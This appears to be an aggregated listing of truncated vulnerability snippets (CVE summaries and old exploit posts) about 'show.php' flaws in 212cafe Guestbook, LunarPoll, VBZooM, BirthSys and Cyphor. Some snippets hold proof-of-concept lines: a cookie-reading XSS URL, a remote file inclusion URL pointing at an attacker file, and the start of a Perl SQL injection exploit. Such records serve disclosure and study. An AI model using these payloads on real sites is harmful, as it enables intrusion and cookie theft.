CVE-2007-0542

CVE-2007-0542 is an XSS flaw in the show.php script of the 212cafe Guestbook 4.00 beta. The vulnerability allows attackers to inject arbitrary script/HTML via the user parameter, leading to client-side impact such as script execution or page manipulation. The associated data indicate a non-authen...

XSS in Guestbook ( v.4.00 beta )

Hello Vulnerable : Guestbook By 212cafe.com Version: v.4.00 beta Web : http://www.212cafe.com Exploit : http://www.example.com/guestbookv4.0/show.php?user=XSS Example : http://www.example.com/guestbookv4.0/show.php?user='scriptalertdocument.cookie;/script ----- Discoverey By LinuxDrox...

LunarPoll Show.PHP远程文件包含漏洞

LunarPoll是一款基于PHP的WEB应用程序。 LunarPoll不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Show.PHP'脚本对用户提交的'PollDir'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Dexxaboy LunarPoll 1.0 目前没有解决方案提供： http://dexxaboy.com/scripts/lunarpoll/ http://www.example.com/show.php?PollDir=http://attacker.txt?...

lunar-rfi.txt

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir Code: requireonce$PollDir.'/includes/functions.php';...

LunarPoll 1.0 (show.php PollDir) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== LunarPoll 1.0 show.php PollDir Remote File Include Vulnerability ================================================================== AYYILDIZ.ORG PreSents... Script:LunarPol...

LunarPoll 1.0 - 'show.php?PollDir' Remote File Inclusion

------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script:LunarPoll Script Download: dexxaboy.com/scripts/lunarpoll/download/ Contact: ilker Kandemir Code: requireonce$PollDir.'/includes/functions.php';...

CVE-2006-3054

Multiple SQL injection vulnerabilities in VBZooM 1.11 allow remote attackers to execute arbitrary SQL commands via the 1 sobjectID or 2 MAINID parameters to a show.php or 3 MainID parameter to b subject.php...

VBZooM <<-- V1.11 "show.php" SQL injection

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r Breeeeh-BoNym-Rootshill-LiNuXrOOt-SauDiVirUs ============================================= Example:-...

VBZooM-show.txt

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Sw33t h4ck3r Breeeeh-BoNym-Rootshill-LiNuXrOOt-SauDiVirUs ============================================= Example:-...

SaPHPLession30.txt

SaPHPLesson 3.0 Multbugs By :-- D3vil-0x1 | Devil-00 --: 1- Unfilter array Filename :- show.php Line :- 102 code $hrow = $Row2;/code Fix :- Add To Line 11 /show.php This Code :- we add the code to global to fix all unfilter ver. at the code : code $hrow = array;/code Exploit :- GET ^...

CVE-2005-4729

CVE-2005-4729 describes an SQL injection in VBZooM Forum, in show.php via the SubjectID parameter. This allows remote execution of arbitrary SQL commands against the application. Connected records also reference the same subject (e.g., CVE-2006-1132 notes the MainID vector and confirms SubjectID ...

CVE-2006-1132

CVE-2006-1132 : SQL injection in vbzoom 1.11 shown via the parameter MainID in show.php. Root cause: unsanitized input enabling remote SQL commands. The SubjectID vector is noted as covered by CVE-2005-4729. No exploitation details or patch/remediation are provided in the connected documents.

EV0074.txt

New eVuln Advisory: BirthSys SQL Injection Vulnerability http://evuln.com/vulns/74/summary.html --------------------Summary---------------- eVuln ID: EV0074 CVE: CVE-2006-0775 Software: BirthSys Sowtware's Web Site: http://clvfoto.free.fr/site/download.php3 Versions: 3.1 Critical Level: Moderate...

Sql injection

Multiple SQL injection vulnerabilities in show.php in BirthSys 3.1 allow remote attackers to execute arbitrary SQL commands via the $month variable. NOTE: a vector regarding the $date parameter and data.php date.php was originally reported, but this appears to be in error...

CVE-2006-0775

BirthSys 3.1 contains SQL Injection in show.php exploitable via the $month parameter. The vulnerability allows remote attackers to craft arbitrary SQL queries; there is mention of an additional vector for $date/data.php that is considered in error. Public sources report exploitation is available ...

CVE-2006-0775

Multiple SQL injection vulnerabilities in show.php in BirthSys 3.1 allow remote attackers to execute arbitrary SQL commands via the $month variable. NOTE: a vector regarding the $date parameter and data.php date.php was originally reported, but this appears to be in error...

CVE-2005-3575

SQL injection vulnerability in show.php in Cyphor 0.19 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2005-3575

CVE-2005-3575 affects Cyphor 0.19 and earlier. The vulnerability is an SQL injection in show.php via the id parameter, allowing remote attackers to execute arbitrary SQL commands. Documented impact per CVSS indicates partial confidentiality, integrity, and availability impacts (base score 7.5; ne...

Cyphor (Release: 0.19) Sql injection

Hello This is sql injection in cyphor Discovered by : HACKERS PAL Greets For Devil-00 - Abducter - Almaster -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- injected vresions :- Cyphor Release: 0.19 and all Versions Up To now -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- injected File show.php...

Cyphor 0.19 - 'show.php?id' SQL Injection

!/bin/env perl //----------------------------------------------------------- // Cyphor Forum SQL Injection Exploit .. By HACKERS PAL // Greets For Devil-00 - Abducter - Almaster // http://WwW.SoQoR.NeT //----------------------------------------------------------- use LWP::Simple; print "\n"; prin...